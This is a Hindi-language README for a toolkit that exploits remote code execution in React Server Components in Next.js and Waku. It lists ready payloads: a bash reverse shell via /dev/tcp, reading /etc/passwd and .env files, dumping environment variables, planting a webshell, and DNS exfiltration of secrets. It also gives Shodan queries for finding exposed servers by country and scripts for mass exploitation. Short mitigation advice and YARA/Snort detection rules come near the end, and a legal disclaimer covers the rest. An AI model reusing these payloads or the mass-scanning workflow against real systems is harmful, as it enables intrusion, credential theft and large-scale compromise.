
React सर्वर कंपोनेंट्स रिमोट कोड निष्पादन भेद्यताओं के लिए उन्नत एक्सप्लॉइटेशन टूलकिट
केवल अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए
विशेषताएँ • स्थापना • उपयोग • Shodan एकीकरण • उदाहरण • अस्वीकरण
यह टूलकिट React सर्वर कंपोनेंट्स (RSC) कार्यान्वयनों में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करता है, विशेष रूप से लक्षित करते हुए:
यह भेद्यता सर्वर पर मनमाना कोड निष्पादन प्राप्त करने के लिए RSC के डेटा हैंडलिंग तंत्र में प्रोटोटाइप प्रदूषण और असुरक्षित डी-सीरियलाइज़ेशन का लाभ उठाती है।
React सर्वर कंपोनेंट्स क्लाइंट और सर्वर के बीच डेटा स्थानांतरित करने के लिए एक कस्टम सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह भेद्यता इन फ्रेमवर्क्स द्वारा विशेष रूप से तैयार किए गए पेलोड को डी-सीरियलाइज़ और प्रोसेस करने के तरीके में मौजूद है।
आक्रमण श्रृंखला:
$X:constructor:constructor का दुरुपयोग करें_prefix फ़ील्ड में मनमाना JavaScript इंजेक्ट करेंAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*--payload या --custom में से कोई एक आवश्यक है
सभी पेलोड देखें:
node rsc-rce-exploit.js --list
आउटपुट:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
कोई भी JavaScript कोड निष्पादित करें:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
प्रदान की गई स्वचालन स्क्रिप्ट का उपयोग करें:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. Test each target
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
mass-exploit.js टूल कई लक्ष्यों का परीक्षण करने की अनुमति देता है:
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10
# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json
स्वचालित सुरक्षा परीक्षण के लिए उदाहरण:
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
अपेक्षित आउटपुट:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Enhanced Version ║
║ React Server Components Code Execution ║
╚═══════════════════════════════════════════════════════════╝
[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
परिणाम:
process.env चर डंप करता है# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Read sensitive files
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
फ्रेमवर्क अपडेट करें
npm install next@latest
# or
npm install waku@latest
इनपुट सत्यापित करें
// Validate all RSC payloads
function validateRSCPayload(payload) {
// Implement strict validation
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
कंटेंट सिक्योरिटी पॉलिसी
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
प्रोडक्शन में RSC अक्षम करें (यदि आवश्यक न हो)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action हेडर के उपयोग पर सतर्क करेंYARA नियम:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snort नियम:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| संस्करण सीमा | स्थिति | टिप्पणियाँ |
|---|---|---|
| < 0.18.0 | ⚠️ भेद्य | क्रिटिकल RCE |
| >= 0.18.0 | ✅ पैच किया गया | अपडेट अनुशंसित |
योगदान का स्वागत है! कृपया इन दिशानिर्देशों का पालन करें:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)⚠️ LEGAL DISCLAIMER ⚠️
This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
By using this software, you agree to:
1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions
The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
Violators will be prosecuted to the fullest extent of the law under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction
USE AT YOUR OWN RISK.
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
MIT License
Copyright (c) 2024 RSC RCE Exploit Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
⭐ यदि यह टूल आपके सुरक्षा अनुसंधान में सहायक रहा है, तो कृपया इसे एक स्टार दें! ⭐
सुरक्षा शोधकर्ताओं द्वारा, सुरक्षा शोधकर्ताओं के लिए ❤️ के साथ निर्मित
| पेलोड | विवरण | उपयोग केस |
|---|
console | बुनियादी PoC (console.log) | भेद्यता सत्यापित करें |
reverseShell | Bash रिवर्स शेल | प्रारंभिक अभिगम |
readFile | /etc/passwd पढ़ें | फाइलसिस्टम अभिगम |
envDump | पर्यावरण चर डंप करें | क्रेडेंशियल निष्कर्षण |
execCommand | सिस्टम कमांड निष्पादित करें | मनमाना कमांड निष्पादन |
webshell | Express वेबशेल तैनात करें | स्थायी अभिगम |
exfilPackage | package.json एक्सफिल्ट्रेट करें | डिपेंडेंसी विश्लेषण |
dnsExfil | DNS एक्सफिल्ट्रेशन (OOB) | ब्लाइंड एक्सप्लॉइटेशन |
| विकल्प | विवरण | आवश्यक |
|---|
--target <url> | लक्ष्य URL | ✅ |
--framework <name> | फ्रेमवर्क: next या waku | ❌ (डिफ़ॉल्ट: next) |
--payload <name> | पेलोड नाम (नीचे देखें) | ✅* |
--custom <code> | कस्टम JavaScript कोड | ✅* |
--lhost <ip> | आपका IP (रिवर्स शेल के लिए) | ❌ |
--lport <port> | आपका पोर्ट (रिवर्स शेल के लिए) | ❌ |
--command <cmd> | निष्पादित करने हेतु कमांड | ❌ |
--endpoint <path> | कस्टम RSC एंडपॉइंट (Waku) | ❌ |
--action-id <id> | कस्टम next-action ID | ❌ |
--list | उपलब्ध पेलोड सूचीबद्ध करें | ❌ |
--verbose | विस्तृत आउटपुट | ❌ |
--help | सहायता दिखाएँ | ❌ |
| संस्करण सीमा | स्थिति | टिप्पणियाँ |
|---|
| < 13.4.0 | ✅ प्रभावित नहीं | RSC डिफ़ॉल्ट रूप से सक्षम नहीं है |
| 13.4.0 - 13.4.19 | ⚠️ भेद्य | क्रिटिकल RCE |
| 13.5.0 - 14.0.4 | ⚠️ भेद्य | क्रिटिकल RCE |
| 14.1.0 | ⚠️ भेद्य | आंशिक शमन |
| >= 14.1.1 | ✅ पैच किया गया | अपडेट अनुशंसित |